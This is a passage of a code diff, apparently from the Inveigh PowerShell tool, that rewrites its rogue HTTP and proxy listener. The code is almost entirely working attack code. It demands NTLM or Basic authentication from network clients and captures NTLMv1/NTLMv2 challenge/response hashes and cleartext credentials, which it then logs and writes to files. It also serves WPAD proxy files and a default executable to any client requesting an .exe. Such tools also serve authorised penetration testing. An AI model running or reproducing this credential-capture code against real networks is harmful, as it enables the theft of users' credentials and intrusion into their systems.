if($TCP_request -like "*-41-75-74-68-6F-72-69-7A-61-74-69-6F-6E-3A-20-*") + { + $HTTP_header_authorization_extract = $TCP_request.Substring($TCP_request.IndexOf("-41-75-74-68-6F-72-69-7A-61-74-69-6F-6E-3A-20-") + 46) + $HTTP_header_authorization_extract = $HTTP_header_authorization_extract.Substring(0,$HTTP_header_authorization_extract.IndexOf("-0D-0A-")) + $HTTP_header_authorization_extract = $HTTP_header_authorization_extract.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} + $HTTP_header_authorization = New-Object System.String ($HTTP_header_authorization_extract,0,$HTTP_header_authorization_extract.Length) + } + + if(($HTTP_request_raw_URL -notmatch '/wpad.dat' -and $HTTPAuth -eq 'Anonymous') -or ($HTTP_request_raw_URL -match '/wpad.dat' -and $WPADAuth -eq 'Anonymous') -or ( + $HTTP_request_raw_URL -match '/wpad.dat' -and $WPADAuth -like 'NTLM*' -and $WPADAuthIgnore.Count -gt 0 -and ($WPADAuthIgnore | Where-Object {$HTTP_header_user_agent -match $_}))) + { + $HTTP_response_status_code = 0x32,0x30,0x30 + $HTTP_response_phrase = 0x4f,0x4b + $HTTP_client_close = $true + } + else + { + + if(($HTTP_request_raw_url -match '/wpad.dat' -and $WPADAuth -eq 'NTLM') -or ($HTTP_request_raw_url -notmatch '/wpad.dat' -and $HTTPAuth -eq 'NTLM')) + { + $HTTPNTLMESS = $true } else - { - $HTTP_NTLM_domain_string = DataToString $HTTP_NTLM_domain_length 0 0 $HTTP_NTLM_domain_offset $HTTP_request_bytes - } - - $HTTP_NTLM_user_length = DataLength 36 $HTTP_request_bytes - $HTTP_NTLM_user_string = DataToString $HTTP_NTLM_user_length $HTTP_NTLM_domain_length 0 $HTTP_NTLM_domain_offset $HTTP_request_bytes - $HTTP_NTLM_host_length = DataLength 44 $HTTP_request_bytes - $HTTP_NTLM_host_string = DataToString $HTTP_NTLM_host_length $HTTP_NTLM_domain_length $HTTP_NTLM_user_length $HTTP_NTLM_domain_offset $HTTP_request_bytes - - if($HTTP_NTLM_length -eq 24) # NTLMv1 { - $NTLM_type = "NTLMv1" - $NTLM_response = [System.BitConverter]::ToString($HTTP_request_bytes[($HTTP_NTLM_offset - 24)..($HTTP_NTLM_offset + $HTTP_NTLM_length)]) -replace "-","" - $NTLM_response = $NTLM_response.Insert(48,':') - $inveigh.HTTP_NTLM_hash = $HTTP_NTLM_user_string + "::" + $HTTP_NTLM_domain_string + ":" + $NTLM_response + ":" + $NTLM_challenge + $HTTPNTLMESS = $false + } + + if($proxy_listener) + { + $HTTP_response_status_code = 0x34,0x30,0x37 + $HTTP_header_authenticate = 0x50,0x72,0x6f,0x78,0x79,0x2d,0x41,0x75,0x74,0x68,0x65,0x6e,0x74,0x69,0x63,0x61,0x74,0x65,0x3a,0x20 + } + else + { + $HTTP_response_status_code = 0x34,0x30,0x31 + $HTTP_header_authenticate = 0x57,0x57,0x57,0x2d,0x41,0x75,0x74,0x68,0x65,0x6e,0x74,0x69,0x63,0x61,0x74,0x65,0x3a,0x20 + } + + $HTTP_response_phrase = 0x55,0x6e,0x61,0x75,0x74,0x68,0x6f,0x72,0x69,0x7a,0x65,0x64 + $HTTP_client_close = $false + } + + if($TCP_request -like "50-4f-53-54*") + { + $HTTP_POST_request_extract = $TCP_request.Substring($TCP_request.IndexOf("-0D-0A-0D-0A-") + 12) + $HTTP_POST_request_extract = $HTTP_POST_request_extract.Substring(0,$HTTP_POST_request_extract.IndexOf("-00-")) + $HTTP_POST_request_extract = $HTTP_POST_request_extract.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} + $HTTP_POST_request = New-Object System.String ($HTTP_POST_request_extract,0,$HTTP_POST_request_extract.Length) + + if($HTTP_POST_request_old -ne $HTTP_POST_request) + { + $inveigh.console_queue.Add("$(Get-Date -format 's') - $HTTP_type POST request $HTTP_POST_request captured from $HTTP_source_IP") + $inveigh.POST_request_file_queue.Add($HTTP_POST_request) + $inveigh.POST_request_list.Add($HTTP_POST_request) + + if($inveigh.file_output) + { + $inveigh.console_queue.Add("$HTTP_type POST request written to " + $inveigh.POST_request_out_file) + $inveigh.log_file_queue.Add("$(Get-Date -format 's') - $HTTP_type POST request captured from $HTTP_source_IP") + } + + if($inveigh.log_output) + { + $inveigh.log.Add("$(Get-Date -format 's') - $HTTP_type POST request captured from $HTTP_source_IP") + } + + } + + $HTTP_POST_request_old = $HTTP_POST_request + } + + if($HTTP_header_authorization.StartsWith('NTLM ')) + { + + $HTTP_header_authorization = $HTTP_header_authorization -replace 'NTLM ','' + [Byte[]]$HTTP_request_bytes = [System.Convert]::FromBase64String($HTTP_header_authorization) + + if([System.BitConverter]::ToString($HTTP_request_bytes[8..11]) -eq '01-00-00-00') + { + $NTLM = NTLMChallengeBase64 $Challenge $HTTPNTLMESS $HTTP_source_IP $HTTP_client.Client.RemoteEndpoint.Port + } + elseif([System.BitConverter]::ToString($HTTP_request_bytes[8..11]) -eq '03-00-00-00') + { + $HTTP_NTLM_length = DataLength2 20 $HTTP_request_bytes + $HTTP_NTLM_offset = DataLength4 24 $HTTP_request_bytes + $HTTP_NTLM_domain_length = DataLength2 28 $HTTP_request_bytes + $HTTP_NTLM_domain_offset = DataLength4 32 $HTTP_request_bytes + [String]$NTLM_challenge = $inveigh.HTTP_challenge_queue -like $HTTP_source_IP + $HTTP_client.Client.RemoteEndpoint.Port + '*' + $inveigh.HTTP_challenge_queue.Remove($NTLM_challenge) + $NTLM_challenge = $NTLM_challenge.Substring(($NTLM_challenge.IndexOf(",")) + 1) + + if($HTTP_NTLM_domain_length -eq 0) + { + $HTTP_NTLM_domain_string = "" + } + else + { + $HTTP_NTLM_domain_string = DataToString $HTTP_NTLM_domain_offset $HTTP_NTLM_domain_length $HTTP_request_bytes + } - if($NTLM_challenge -and $NTLM_response -and ($inveigh.machine_accounts -or (!$inveigh.machine_accounts -and -not $HTTP_NTLM_user_string.EndsWith('$')))) - { - $inveigh.log.Add($inveigh.log_file_queue[$inveigh.log_file_queue.Add("$(Get-Date -format 's') - $HTTP_type NTLMv1 challenge/response for $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string captured from " + $inveigh.request.RemoteEndpoint.Address + "(" + $HTTP_NTLM_host_string + ")")]) - $inveigh.NTLMv1_list.Add($inveigh.HTTP_NTLM_hash) + $HTTP_NTLM_user_length = DataLength2 36 $HTTP_request_bytes + $HTTP_NTLM_user_offset = DataLength4 40 $HTTP_request_bytes + $HTTP_NTLM_user_string = DataToString $HTTP_NTLM_user_offset $HTTP_NTLM_user_length $HTTP_request_bytes + $HTTP_NTLM_host_length = DataLength2 44 $HTTP_request_bytes + $HTTP_NTLM_host_offset = DataLength4 48 $HTTP_request_bytes + $HTTP_NTLM_host_string = DataToString $HTTP_NTLM_host_offset $HTTP_NTLM_host_length $HTTP_request_bytes + + if($HTTP_NTLM_length -eq 24) # NTLMv1 + { + $NTLM_response = [System.BitConverter]::ToString($HTTP_request_bytes[($HTTP_NTLM_offset - 24)..($HTTP_NTLM_offset + $HTTP_NTLM_length)]) -replace "-","" + $NTLM_response = $NTLM_response.Insert(48,':') + $HTTP_NTLM_hash = $HTTP_NTLM_user_string + "::" + $HTTP_NTLM_domain_string + ":" + $NTLM_response + ":" + $NTLM_challenge + + if($NTLM_challenge -and $NTLM_response -and ($inveigh.machine_accounts -or (!$inveigh.machine_accounts -and -not $HTTP_NTLM_user_string.EndsWith('$')))) + { + $inveigh.NTLMv1_list.Add($HTTP_NTLM_hash) + + if($inveigh.file_output) + { + $inveigh.log_file_queue.Add("$(Get-Date -format 's') - $HTTP_type NTLMv1 challenge/response for $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string captured from $HTTP_source_IP($HTTP_NTLM_host_string)") + } + + if($inveigh.log_output) + { + $inveigh.log.Add("$(Get-Date -format 's') - $HTTP_type NTLMv1 challenge/response for $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string captured from $HTTP_source_IP($HTTP_NTLM_host_string)") + } - if(!$inveigh.console_unique -or ($inveigh.console_unique -and $inveigh.NTLMv1_username_list -notcontains $inveigh.request.RemoteEndpoint.Address.IPAddressToString + " $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string")) + if(!$inveigh.console_unique -or ($inveigh.console_unique -and $inveigh.NTLMv1_username_list -notcontains "$HTTP_source_IP $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string")) + { + $inveigh.console_queue.Add($(Get-Date -format 's') + " - $HTTP_type NTLMv1 challenge/response captured from $HTTP_source_IP($HTTP_NTLM_host_string):`n$HTTP_NTLM_hash") + } + else + { + $inveigh.console_queue.Add($(Get-Date -format 's') + " - $HTTP_type NTLMv1 challenge/response captured from $HTTP_source_IP($HTTP_NTLM_host_string):`n$HTTP_NTLM_domain_string\$HTTP_NTLM_user_string - not unique") + } + + if($inveigh.file_output -and (!$inveigh.file_unique -or ($inveigh.file_unique -and $inveigh.NTLMv1_username_list -notcontains "$HTTP_source_IP $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string"))) + { + $inveigh.NTLMv1_file_queue.Add($HTTP_NTLM_hash) + $inveigh.console_queue.Add("$HTTP_type NTLMv1 challenge/response written to " + $inveigh.NTLMv1_out_file) + } + + if($inveigh.NTLMv1_username_list -notcontains "$HTTP_source_IP $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string") + { + $inveigh.NTLMv1_username_list.Add("$HTTP_source_IP $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string") + } + + } + + } + else # NTLMv2 + { + $NTLM_response = [System.BitConverter]::ToString($HTTP_request_bytes[$HTTP_NTLM_offset..($HTTP_NTLM_offset + $HTTP_NTLM_length)]) -replace "-","" + $NTLM_response = $NTLM_response.Insert(32,':') + $HTTP_NTLM_hash = $HTTP_NTLM_user_string + "::" + $HTTP_NTLM_domain_string + ":" + $NTLM_challenge + ":" + $NTLM_response + + if($NTLM_challenge -and $NTLM_response -and ($inveigh.machine_accounts -or (!$inveigh.machine_accounts -and -not $HTTP_NTLM_user_string.EndsWith('$')))) { - $inveigh.console_queue.Add("$(Get-Date -format 's') - $HTTP_type NTLMv1 challenge/response captured from " + $inveigh.request.RemoteEndpoint.Address + "(" + $HTTP_NTLM_host_string + "):`n" + $inveigh.HTTP_NTLM_hash) + $inveigh.NTLMv2_list.Add($HTTP_NTLM_hash) + + if($inveigh.file_output) + { + $inveigh.log_file_queue.Add($(Get-Date -format 's') + " - $HTTP_type NTLMv2 challenge/response for $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string captured from $HTTP_source_IP($HTTP_NTLM_host_string)") + } + + if($inveigh.log_output) + { + $inveigh.log.Add($(Get-Date -format 's') + " - $HTTP_type NTLMv2 challenge/response for $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string captured from $HTTP_source_IP($HTTP_NTLM_host_string)") + } + + if(!$inveigh.console_unique -or ($inveigh.console_unique -and $inveigh.NTLMv2_username_list -notcontains "$HTTP_source_IP $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string")) + { + $inveigh.console_queue.Add($(Get-Date -format 's') + " - $HTTP_type NTLMv2 challenge/response captured from $HTTP_source_IP($HTTP_NTLM_host_string):`n$HTTP_NTLM_hash") + } + else + { + $inveigh.console_queue.Add($(Get-Date -format 's') + " - $HTTP_type NTLMv2 challenge/response captured from $HTTP_source_IP($HTTP_NTLM_host_string):`n$HTTP_NTLM_domain_string\$HTTP_NTLM_user_string - not unique") + } + + if($inveigh.file_output -and (!$inveigh.file_unique -or ($inveigh.file_unique -and $inveigh.NTLMv2_username_list -notcontains "$HTTP_source_IP $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string"))) + { + $inveigh.NTLMv2_file_queue.Add($HTTP_NTLM_hash) + $inveigh.console_queue.Add("$HTTP_type NTLMv2 challenge/response written to " + $inveigh.NTLMv2_out_file) + } + + if($inveigh.NTLMv2_username_list -notcontains "$HTTP_source_IP $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string") + { + $inveigh.NTLMv2_username_list.Add("$HTTP_source_IP $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string") + } + + } + + } + + if ($inveigh.IP_capture_list -notcontains $HTTP_source_IP -and -not $HTTP_NTLM_user_string.EndsWith('$') -and !$inveigh.spoofer_repeat -and $HTTP_source_IP -ne $IP) + { + $inveigh.IP_capture_list.Add($HTTP_source_IP) + } + + $HTTP_response_status_code = 0x32,0x30,0x30 + $HTTP_response_phrase = 0x4f,0x4b + $HTTP_client_close = $true + $NTLM_challenge = "" + + if($proxy_listener) + { + + if($HTTPResponse -or $HTTPDir) + { + $HTTP_header_cache_control = 0x43,0x61,0x63,0x68,0x65,0x2d,0x43,0x6f,0x6e,0x74,0x72,0x6f,0x6c,0x3a,0x20,0x6e,0x6f,0x2d,0x63,0x61,0x63,0x68,0x65,0x2c,0x20,0x6e,0x6f,0x2d,0x73,0x74,0x6f,0x72,0x65 } else { - $inveigh.console_queue.Add($(Get-Date -format 's') + " - $HTTP_type NTLMv1 challenge/response captured from " + $inveigh.request.RemoteEndpoint.Address + "(" + $HTTP_NTLM_host_string + ") for $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string - not unique") - } - - if($inveigh.file_output -and (!$inveigh.file_unique -or ($inveigh.file_unique -and $inveigh.NTLMv1_username_list -notcontains ($inveigh.request.RemoteEndpoint.Address.IPAddressToString + " $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string")))) - { - $inveigh.NTLMv1_file_queue.Add($inveigh.HTTP_NTLM_hash) - $inveigh.console_queue.Add("$HTTP_type NTLMv1 challenge/response written to " + $inveigh.NTLMv1_out_file) - } - - if($inveigh.NTLMv1_username_list -notcontains ($inveigh.request.RemoteEndpoint.Address.IPAddressToString + " $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string")) - { - $inveigh.NTLMv1_username_list.Add($inveigh.request.RemoteEndpoint.Address.IPAddressToString + " $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string") + $HTTP_send = $false } } } - else # NTLMv2 - { - $NTLM_type = "NTLMv2" - $NTLM_response = [System.BitConverter]::ToString($HTTP_request_bytes[$HTTP_NTLM_offset..($HTTP_NTLM_offset + $HTTP_NTLM_length)]) -replace "-","" - $NTLM_response = $NTLM_response.Insert(32,':') - $inveigh.HTTP_NTLM_hash = $HTTP_NTLM_user_string + "::" + $HTTP_NTLM_domain_string + ":" + $NTLM_challenge + ":" + $NTLM_response - - if($NTLM_challenge -and $NTLM_response -and ($inveigh.machine_accounts -or (!$inveigh.machine_accounts -and -not $HTTP_NTLM_user_string.EndsWith('$')))) - { - $inveigh.log.Add($inveigh.log_file_queue[$inveigh.log_file_queue.Add($(Get-Date -format 's') + " - $HTTP_type NTLMv2 challenge/response for $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string captured from " + $inveigh.request.RemoteEndpoint.Address + "(" + $HTTP_NTLM_host_string + ")")]) - $inveigh.NTLMv2_list.Add($inveigh.HTTP_NTLM_hash) - - if(!$inveigh.console_unique -or ($inveigh.console_unique -and $inveigh.NTLMv2_username_list -notcontains ($inveigh.request.RemoteEndpoint.Address.IPAddressToString + " $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string"))) - { - $inveigh.console_queue.Add($(Get-Date -format 's') + " - $HTTP_type NTLMv2 challenge/response captured from " + $inveigh.request.RemoteEndpoint.Address + "(" + $HTTP_NTLM_host_string + "):`n" + $inveigh.HTTP_NTLM_hash) - } - else - { - $inveigh.console_queue.Add($(Get-Date -format 's') + " - $HTTP_type NTLMv2 challenge/response captured from " + $inveigh.request.RemoteEndpoint.Address + "(" + $HTTP_NTLM_host_string + ") for $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string - not unique") - } - - if($inveigh.file_output -and (!$inveigh.file_unique -or ($inveigh.file_unique -and $inveigh.NTLMv2_username_list -notcontains ($inveigh.request.RemoteEndpoint.Address.IPAddressToString + " $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string")))) - { - $inveigh.NTLMv2_file_queue.Add($inveigh.HTTP_NTLM_hash) - $inveigh.console_queue.Add("$HTTP_type NTLMv2 challenge/response written to " + $inveigh.NTLMv2_out_file) - } - - if($inveigh.NTLMv2_username_list -notcontains ($inveigh.request.RemoteEndpoint.Address.IPAddressToString + " $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string")) - { - $inveigh.NTLMv2_username_list.Add($inveigh.request.RemoteEndpoint.Address.IPAddressToString + " $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string") - } - - } - - } - - if($inveigh.IP_capture_list -notcontains $inveigh.request.RemoteEndpoint.Address.IPAddressToString -and -not $HTTP_NTLM_user_string.EndsWith('$') -and !$inveigh.spoofer_repeat) - { - $inveigh.IP_capture_list.Add($inveigh.request.RemoteEndpoint.Address.IPAddressToString) - } - - $inveigh.response.StatusCode = 200 - $NTLM_auth = $true - $NTLM_challenge = '' - $HTTP_raw_url_output = $true - - } - else - { - $NTLM = 'NTLM' - } - - } - elseif($authentication_header.StartsWith('Basic ')) # Thanks to @xorrior for the initial basic auth code - { - $inveigh.response.StatusCode = 200 - $Basic_auth = $true - $authentication_header = $authentication_header -replace 'Basic ','' - $cleartext_credentials = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($authentication_header)) - $inveigh.log.Add($inveigh.log_file_queue[$inveigh.log_file_queue.Add("$(Get-Date -format 's') - Basic auth cleartext credentials captured from " + $inveigh.request.RemoteEndpoint.Address)]) - $inveigh.cleartext_file_queue.Add($inveigh.request.RemoteEndpoint.Address.IPAddressToString + ",$HTTP_type,$cleartext_credentials") - $inveigh.cleartext_list.Add($inveigh.request.RemoteEndpoint.Address.IPAddressToString + ",$HTTP_type,$cleartext_credentials") - $inveigh.console_queue.Add("$(Get-Date -format 's') - $HTTP_type Basic auth cleartext credentials $cleartext_credentials captured from " + $inveigh.request.RemoteEndpoint.Address) - - if($inveigh.file_output) - { - $inveigh.console_queue.Add("$HTTP_type Basic auth cleartext credentials written to " + $inveigh.cleartext_out_file) - } - - } - - if(($HTTPAuth -eq 'Anonymous' -and $inveigh.request.RawUrl -notmatch '/wpad.dat') -or ($WPADAuth -eq 'Anonymous' -and $inveigh.request.RawUrl -match '/wpad.dat') -or $NTLM_Auth -or $Basic_auth) - { - - if($inveigh.HTTP_directory -and $inveigh.HTTP_default_EXE -and $inveigh.request.RawUrl -like '*.exe' -and (Test-Path (Join-Path $inveigh.HTTP_directory $inveigh.HTTP_default_EXE)) -and !(Test-Path (Join-Path $inveigh.HTTP_directory $inveigh.request.RawUrl))) - { - [Byte[]] $HTTP_buffer = [System.IO.File]::ReadAllBytes((Join-Path $inveigh.HTTP_directory $inveigh.HTTP_default_EXE)) - } - elseif($inveigh.HTTP_directory) - { - - if($inveigh.HTTP_default_file -and !(Test-Path (Join-Path $inveigh.HTTP_directory $inveigh.request.RawUrl)) -and (Test-Path (Join-Path $inveigh.HTTP_directory $inveigh.HTTP_default_file)) -and $inveigh.request.RawUrl -notmatch '/wpad.dat') - { - [Byte[]] $HTTP_buffer = [System.IO.File]::ReadAllBytes((Join-Path $inveigh.HTTP_directory $inveigh.HTTP_default_file)) - } - elseif($inveigh.HTTP_default_file -and $inveigh.request.RawUrl -eq '/' -and (Test-Path (Join-Path $inveigh.HTTP_directory $inveigh.HTTP_default_file))) - { - [Byte[]] $HTTP_buffer = [System.IO.File]::ReadAllBytes((Join-Path $inveigh.HTTP_directory $inveigh.HTTP_default_file)) - } - elseif($inveigh.WPAD_response -and $inveigh.request.RawUrl -match '/wpad.dat') - { - [Byte[]] $HTTP_buffer = [System.Text.Encoding]::UTF8.GetBytes($inveigh.WPAD_response) - } else { + $HTTP_client_close = $true + } - if(Test-Path (Join-Path $inveigh.HTTP_directory $inveigh.request.RawUrl)) + } + elseif($HTTP_header_authorization.startswith('Basic ')) + { + $HTTP_response_status_code = 0x32,0x30,0x30 + $HTTP_response_phrase = 0x4f,0x4b + $HTTP_header_authorization = $HTTP_header_authorization -replace 'Basic ','' + $cleartext_credentials = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($HTTP_header_authorization)) + $HTTP_client_close = $true + $inveigh.cleartext_file_queue.Add($cleartext_credentials) + $inveigh.cleartext_list.Add($cleartext_credentials) + $inveigh.console_queue.Add("$(Get-Date -format 's') - $HTTP_type Basic auth cleartext credentials $cleartext_credentials captured from $HTTP_source_IP") + + if($inveigh.file_output) + { + $inveigh.console_queue.Add("$HTTP_type Basic auth cleartext credentials written to " + $inveigh.cleartext_out_file) + $inveigh.log_file_queue.Add("$(Get-Date -format 's') - Basic auth cleartext credentials captured from $HTTP_source_IP") + } + + if($inveigh.log_output) + { + $inveigh.log.Add("$(Get-Date -format 's') - Basic auth cleartext credentials captured from $HTTP_source_IP") + } + + } + + if(($HTTP_request_raw_url -notmatch '/wpad.dat' -and $HTTPAuth -eq 'Anonymous') -or ($HTTP_request_raw_URL -match '/wpad.dat' -and $WPADAuth -eq 'Anonymous') -or ( + $WPADAuthIgnore.Count -gt 0 -and $WPADAuth -like 'NTLM*' -and ($WPADAuthIgnore | Where-Object {$HTTP_header_user_agent -match $_})) -or $HTTP_client_close) + { + + if($HTTPDir -and $HTTPDefaultEXE -and $HTTP_request_raw_url -like '*.exe' -and (Test-Path (Join-Path $HTTPDir $HTTPDefaultEXE)) -and !(Test-Path (Join-Path $HTTPDir $HTTP_request_raw_url))) + { + [Byte[]]$HTTP_message_bytes = [System.IO.File]::ReadAllBytes((Join-Path $HTTPDir $HTTPDefaultEXE)) + $HTTP_header_content_type = 0x43,0x6f,0x6e,0x74,0x65,0x6e,0x74,0x2d,0x54,0x79,0x70,0x65,0x3a,0x20 + [System.Text.Encoding]::UTF8.GetBytes("application/exe") + } + elseif($HTTPDir) + { + + if($HTTPDefaultFile -and !(Test-Path (Join-Path $HTTPDir $HTTP_request_raw_url)) -and (Test-Path (Join-Path $HTTPDir $HTTPDefaultFile)) -and $HTTP_request_raw_url -notmatch '/wpad.dat') { - [Byte[]] $HTTP_buffer = [System.IO.File]::ReadAllBytes((Join-Path $inveigh.HTTP_directory $inveigh.request.RawUrl)) + [Byte[]]$HTTP_message_bytes = [System.IO.File]::ReadAllBytes((Join-Path $HTTPDir $HTTPDefaultFile)) + } + elseif(($HTTPDefaultFile -and $HTTP_request_raw_url -eq '' -or $HTTPDefaultFile -and $HTTP_request_raw_url -eq '/') -and (Test-Path (Join-Path $HTTPDir $HTTPDefaultFile))) + { + [Byte[]]$HTTP_message_bytes = [System.IO.File]::ReadAllBytes((Join-Path $HTTPDir $HTTPDefaultFile)) + } + elseif($WPADResponse -and $HTTP_request_raw_url -match '/wpad.dat') + { + [Byte[]]$HTTP_message_bytes = [System.Text.Encoding]::UTF8.GetBytes($WPADResponse) + $HTTP_header_content_type = 0x43,0x6f,0x6e,0x74,0x65,0x6e,0x74,0x2d,0x54,0x79,0x70,0x65,0x3a,0x20 + [System.Text.Encoding]::UTF8.GetBytes("application/x-ns-proxy-autoconfig") } else { - [Byte[]] $HTTP_buffer = [System.Text.Encoding]::UTF8.GetBytes($inveigh.HTTP_response) - } + + if(Test-Path (Join-Path $HTTPDir $HTTP_request_raw_url)) + { + [Byte[]]$HTTP_message_bytes = [System.IO.File]::ReadAllBytes((Join-Path $HTTPDir $HTTP_request_raw_url)) + } + else + { + [Byte[]]$HTTP_message_bytes = [System.Text.Encoding]::UTF8.GetBytes($HTTPResponse) + } + } + + } + else + { + + if($WPADResponse -and $HTTP_request_raw_url -match '/wpad.dat' -and (!$ProxyIgnore -or !($ProxyIgnore | Where-Object {$HTTP_header_user_agent -match $_}))) + { + $HTTP_message = $WPADResponse + $HTTP_header_content_type = 0x43,0x6f,0x6e,0x74,0x65,0x6e,0x74,0x2d,0x54,0x79,0x70,0x65,0x3a,0x20 + [System.Text.Encoding]::UTF8.GetBytes("application/x-ns-proxy-autoconfig") + } + elseif($HTTPResponse) + { + $HTTP_message = $HTTPResponse + + if($HTTPContentType) + { + $HTTP_header_content_type = 0x43,0x6f,0x6e,0x74,0x65,0x6e,0x74,0x2d,0x54,0x79,0x70,0x65,0x3a,0x20 + [System.Text.Encoding]::UTF8.GetBytes($HTTPContentType) + } + + } + + [Byte[]]$HTTP_message_bytes = [System.Text.Encoding]::UTF8.GetBytes($HTTP_message) } } else { + [Byte[]]$HTTP_message_bytes = [System.Text.Encoding]::UTF8.GetBytes($HTTP_message) + } - if($inveigh.request.RawUrl -match '/wpad.dat') + $HTTP_timestamp = Get-Date -format r + $HTTP_timestamp = [System.Text.Encoding]::UTF8.GetBytes($HTTP_timestamp) + $HTTP_header_content_length = 0x43,0x6f,0x6e,0x74,0x65,0x6e,0x74,0x2d,0x4c,0x65,0x6e,0x67,0x74,0x68,0x3a,0x20 + [System.Text.Encoding]::UTF8.GetBytes($HTTP_message_bytes.Length) + + if(($HTTPAuth -like 'NTLM*' -and $HTTP_request_raw_URL -notmatch '/wpad.dat') -or ($WPADAuth -like 'NTLM*' -and $HTTP_request_raw_URL -match '/wpad.dat') -and !$HTTP_client_close) + { + $HTTP_header_authenticate_data = [System.Text.Encoding]::UTF8.GetBytes($NTLM) + } + elseif(($HTTPAuth -eq 'Basic' -and $HTTP_request_raw_URL -notmatch '/wpad.dat') -or ($WPADAuth -eq 'Basic' -and $HTTP_request_raw_URL -match '/wpad.dat')) + { + $HTTP_header_authenticate_data = [System.Text.Encoding]::UTF8.GetBytes("Basic realm=$HTTPBasicRealm") + } + + $packet_HTTPResponse = New-Object System.Collections.Specialized.OrderedDictionary + $packet_HTTPResponse.Add("HTTPResponse_RequestVersion",[Byte[]](0x48,0x54,0x54,0x50,0x2f,0x31,0x2e,0x31,0x20)) + $packet_HTTPResponse.Add("HTTPResponse_StatusCode",$HTTP_response_status_code + [Byte[]](0x20)) + $packet_HTTPResponse.Add("HTTPResponse_ResponsePhrase",$HTTP_response_phrase + [Byte[]](0x0d,0x0a)) + $packet_HTTPResponse.Add("HTTPResponse_Server",[Byte[]](0x53,0x65,0x72,0x76,0x65,0x72,0x3a,0x20,0x4d,0x69,0x63,0x72,0x6f,0x73,0x6f,0x66,0x74,0x2d,0x48,0x54,0x54,0x50,0x41,0x50,0x49,0x2f,0x32,0x2e,0x30,0x0d,0x0a)) + $packet_HTTPResponse.Add("HTTPResponse_TimeStamp",[Byte[]](0x44,0x61,0x74,0x65,0x3a,0x20) + $HTTP_timestamp + [Byte[]](0x0d,0x0a)) + $packet_HTTPResponse.Add("HTTPResponse_ContentLength",$HTTP_header_content_length + [Byte[]](0x0d,0x0a)) + + if($HTTP_header_authenticate -and $HTTP_header_authenticate_data) + { + $packet_HTTPResponse.Add("HTTPResponse_AuthenticateHeader",$HTTP_header_authenticate + $HTTP_header_authenticate_data + [Byte[]](0x0d,0x0a)) + } + + if($HTTP_header_content_type) + { + $packet_HTTPResponse.Add("HTTPResponse_ContentType",$HTTP_header_content_type + [Byte[]](0x0d,0x0a)) + } + + if($HTTP_header_cache_control) + { + $packet_HTTPResponse.Add("HTTPResponse_CacheControl",$HTTP_header_cache_control + [Byte[]](0x0d,0x0a)) + } + + if($HTTP_send) + { + $packet_HTTPResponse.Add("HTTPResponse_Message",[Byte[]](0x0d,0x0a) + $HTTP_message_bytes) + $HTTP_response = ConvertFrom-PacketOrderedDictionary $packet_HTTPResponse + $HTTP_stream.Write($HTTP_response,0,$HTTP_response.Length) + $HTTP_stream.Flush() + } + + Start-Sleep -m 10 + $HTTP_request_raw_URL_old = $HTTP_request_raw_URL + $HTTP_client_handle_old = $HTTP_client.Client.Handle + + if($HTTP_client_close) + { + $HTTP_reset_delay = $false + + if($proxy_listener) { - $inveigh.message = $inveigh.WPAD_response - } - elseif($inveigh.HTTP_response) - { - $inveigh.message = $inveigh.HTTP_response + $HTTP_client.Client.Close() } else { - $inveigh.message = $null + $HTTP_client.Close() } - [Byte[]] $HTTP_buffer = [System.Text.Encoding]::UTF8.GetBytes($inveigh.message) } + } else { - [Byte[]] $HTTP_buffer = $null - } - if(($HTTPAuth -eq 'NTLM' -and $inveigh.request.RawUrl -notmatch '/wpad.dat') -or ($WPADAuth -eq 'NTLM' -and $inveigh.request.RawUrl -match '/wpad.dat') -and !$NTLM_auth) - { - $inveigh.response.AddHeader("WWW-Authenticate",$NTLM) - } - elseif(($HTTPAuth -eq 'Basic' -and $inveigh.request.RawUrl -notmatch '/wpad.dat') -or ($WPADAuth -eq 'Basic' -and $inveigh.request.RawUrl -match '/wpad.dat')) - { - $inveigh.response.AddHeader("WWW-Authenticate","Basic realm=$HTTPBasicRealm") - } - else - { - $inveigh.response.StatusCode = 200 - } + if($HTTP_data_available -or !$HTTP_reset_delay -or $HTTP_reset_delay_stopwatch.Elapsed -ge $HTTP_reset_delay_timeout) + { + $HTTP_client.Close() + $HTTP_client_close = $true + $HTTP_reset_delay = $false + } + else + { + Start-Sleep -m 100 + } - $inveigh.response.ContentLength64 = $HTTP_buffer.Length - $HTTP_stream = $inveigh.response.OutputStream - $HTTP_stream.Write($HTTP_buffer,0,$HTTP_buffer.Length) - $HTTP_stream.Close() + } + } - $inveigh.HTTP_listener.Stop() - $inveigh.HTTP_listener.Close() + $HTTP_client.Close() + start-sleep -s 1 + $HTTP_listener.Server.Blocking = $false + Start-Sleep -s 1 + $HTTP_listener.Server.Close() + Start-Sleep -s 1 + $HTTP_listener.Stop() } # Sniffer/Spoofer ScriptBlock - LLMNR/NBNS Spoofer and SMB sniffer $sniffer_scriptblock = { - param 